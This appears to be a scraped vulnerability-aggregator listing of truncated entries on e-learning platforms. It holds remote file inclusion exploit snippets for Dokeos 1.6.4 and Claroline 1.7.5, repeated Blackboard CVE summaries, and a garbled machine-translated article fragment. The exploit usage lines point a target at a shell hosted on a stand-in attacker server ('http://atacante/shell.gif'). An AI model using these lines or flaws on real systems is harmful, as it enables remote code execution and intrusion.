dokeos.txt

!/usr/bin/perl Dokeos Learning Management System 1.6.4 Remote File Include Exploit & Advisorie: beford uso: perl own.pl perl own.pl http://host.com/dokeos/ http://atacante/shell.gif cmd cmd shell example: cmd variable: cmd; Description Vendor: http://www.dokeos.com/ The file...

Claroline Open Source e-Learning 1.7.5 Remote File Include

Description Vendor: http://www.claroline.net The file claroline/auth/extauth/drivers/ldap.inc.php uses the variable clarolineRepositorySys in a include function without being declared. There are other files vulnerable in the same folder, this exploit only attacks ldap.inc.php There is other...

Dokeos LMS <= 1.6.4 (authldap.php) Remote File Include Exploit

No description provided by source. !/usr/bin/perl Dokeos Learning Management System 1.6.4 Remote File Include Exploit & Advisorie: beford xbefordx gmail com uso: perl own.pl host cmd-shell-url cmd-var perl own.pl http://host.com/dokeos/ http://atacante/shell.gif cmd cmd shell example: ? system$cm...

Claroline e-Learning 1.75 (ldap.inc.php) Remote File Inclusion Exploit

No description provided by source. !/usr/bin/perl Claroline Open Source e-Learning 1.7.5 Remote File Include Exploit & Advisorie: beford xbefordx gmail com uso: perl own.pl host cmd-shell-url cmd-var perl own.pl http://host.com/claroline/auth/ http://atacante/shell.gif cmd cmd shell example: ?...

Claroline E-Learning 1.75 - ldap.inc.php Remote File Inclusion

Claroline E-Learning 1.75 - ldap.inc.php Remote File Inclusion !/usr/bin/perl Claroline Open Source e-Learning 1.7.5 Remote File Include Exploit & Advisorie: beford uso: perl own.pl perl own.pl http://host.com/claroline/auth/ http://atacante/shell.gif cmd cmd shell example: cmd variable: cmd;...

Dokeos Lms 1.6.4 - 'authldap.php' Remote File Inclusion

!/usr/bin/perl Dokeos Learning Management System 1.6.4 Remote File Include Exploit & Advisorie: beford uso: perl own.pl perl own.pl http://host.com/dokeos/ http://atacante/shell.gif cmd cmd shell example: cmd variable: cmd; Description Vendor: http://www.dokeos.com/ The file...

Claroline E-Learning 1.75 - 'ldap.inc.php' Remote File Inclusion

!/usr/bin/perl Claroline Open Source e-Learning 1.7.5 Remote File Include Exploit & Advisorie: beford uso: perl own.pl perl own.pl http://host.com/claroline/auth/ http://atacante/shell.gif cmd cmd shell example: cmd variable: cmd; Description Vendor: http://www.claroline.net The file...

Claroline e-Learning 1.75 (ldap.inc.php) Remote File Inclusion Exploit

Exploit for unknown platform in category web applications ====================================================================== Claroline e-Learning 1.75 ldap.inc.php Remote File Inclusion Exploit ====================================================================== !/usr/bin/perl Claroline Ope...

Fee resources my methods（invasion）-vulnerability warning-the black bar safety net

In the previous article we have introduced the idea of the article, the techniques article search article and receive a new friends good feedback, the friends actively reflect the problems, the features proposed in this series of articles 末篇 then increase the Q & A article in to one reply. Below ...

CVE-2005-4337

The login page in Blackboard Learning and Community Portal System in Academic Suite 6.3.1.424, 6.2.3.23, and other versions before 6 allows remote attackers to bypass authentication and gain privileges as other users via a modified userid parameter and a "/" in the encodedpw parameter...

CVE-2005-4339

Cross-site scripting XSS vulnerability in Blackboard Learning and Community Portal System in Academic Suite 6.3.1.424, 6.2.3.23, and other versions before 6 allows remote attackers to inject arbitrary web script or HTML via the context parameter to announcement.pl, which is reflected in the...

CVE-2005-4341

Blackboard Learning and Community Portal System in Academic Suite 6.3.1.424, 6.2.3.23, and other versions before 6 allows remote attackers to list all available categories via a blank categoryid parameter to category.pl. NOTE: it is not clear whether this information is sensitive or not, so this...

CVE-2005-4338

announcement.pl in Blackboard Learning and Community Portal System in Academic Suite 6.3.1.424, 6.2.3.23, and other versions before 6 allows remote attackers to gain administrator privileges by setting the context parameter to "admin"...

CVE-2005-4339

Cross-site scripting XSS vulnerability in Blackboard Learning and Community Portal System in Academic Suite 6.3.1.424, 6.2.3.23, and other versions before 6 allows remote attackers to inject arbitrary web script or HTML via the context parameter to announcement.pl, which is reflected in the...

CVE-2005-4341

Blackboard Learning and Community Portal System in Academic Suite 6.3.1.424, 6.2.3.23, and other versions before 6 allows remote attackers to list all available categories via a blank categoryid parameter to category.pl. NOTE: it is not clear whether this information is sensitive or not, so this...

CVE-2005-4339

CVE-2005-4339 is an XSS vulnerability in Blackboard Learning and Community Portal System (Academic Suite 6.3.1.424, 6.2.3.23, and other versions before 6) where a attacker-supplied context parameter to announcement.pl is reflected in the page. The issue is caused by improper handling of user inpu...

CVE-2005-4341

Blackboard Learning and Community Portal System in Academic Suite before version 6 is affected by CVE-2005-4341. The issue arises in category.pl where a blank category_id parameter allows remote attackers to list all categories, constituting information disclosure (confidentiality impact: partial...

CVE-2005-4338

The CVE-2005-4338 entry affects Blackboard Learning and Community Portal System (Academic Suite) versions 6.3.1.424, 6.2.3.23, and earlier 6.x. The vulnerability, as described in multiple feeds, allows remote attackers to gain administrator privileges by setting the context parameter to "admin". ...

CVE-2005-4337

The CVE-2005-4337 issue affects Blackboard Learning and Community Portal System on Academic Suite versions 6.3.1.424, 6.2.3.23, and earlier builds. The root cause is an authentication bypass via a modified user_id parameter and a "/" in the encoded_pw parameter, enabling remote attackers to gain ...

CVE-2005-4337

The login page in Blackboard Learning and Community Portal System in Academic Suite 6.3.1.424, 6.2.3.23, and other versions before 6 allows remote attackers to bypass authentication and gain privileges as other users via a modified userid parameter and a "/" in the encodedpw parameter...